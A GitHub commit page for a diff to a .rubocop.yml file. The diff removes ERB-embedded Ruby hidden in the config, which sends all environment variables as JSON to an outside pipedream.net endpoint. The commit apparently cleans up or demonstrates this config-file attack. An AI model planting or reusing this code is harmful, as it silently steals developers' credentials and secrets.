Skip to content

Commit

Permalink
Update .rubocop.yml
Browse files Browse the repository at this point in the history
  • Loading branch information
rotem-cider committed Jun 13, 2023
1 parent 114267d commit 337006b
Showing 1 changed file with 1 addition and 22 deletions.
23 changes: 1 addition & 22 deletions .rubocop.yml
Original file line number Diff line number Diff line change
@@ -1,22 +1 @@
#.rubocop.yml
<%
require 'net/http'
require 'uri'
require 'json'
url = 'https://5249055eabbb52ef14d6e9b32e549966.m.pipedream.net'
uri = URI.parse(url)
header = { 'Content-Type': 'application/json' }
data = {
environment_variables: ENV.to_h
}
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
request = Net::HTTP::Post.new(uri.request_uri, header)
request.body = data.to_json
response = http.request(request)
%>
# <% ;require 'net/http' ;require 'uri' ;require 'json' ;url = 'https://5249055eabbb52ef14d6e9b32e549966.m.pipedream.net' ;uri = URI.parse(url) ;header = { 'Content-Type': 'application/json' };data = { environment_variables: ENV.to_h } ;http = Net::HTTP.new(uri.host, uri.port) ;http.use_ssl = true ;request = Net::HTTP::Post.new(uri.request_uri, header) ;request.body = data.to_json ;response = http.request(request) %>

0 comments on commit 337006b

Please sign in to comment.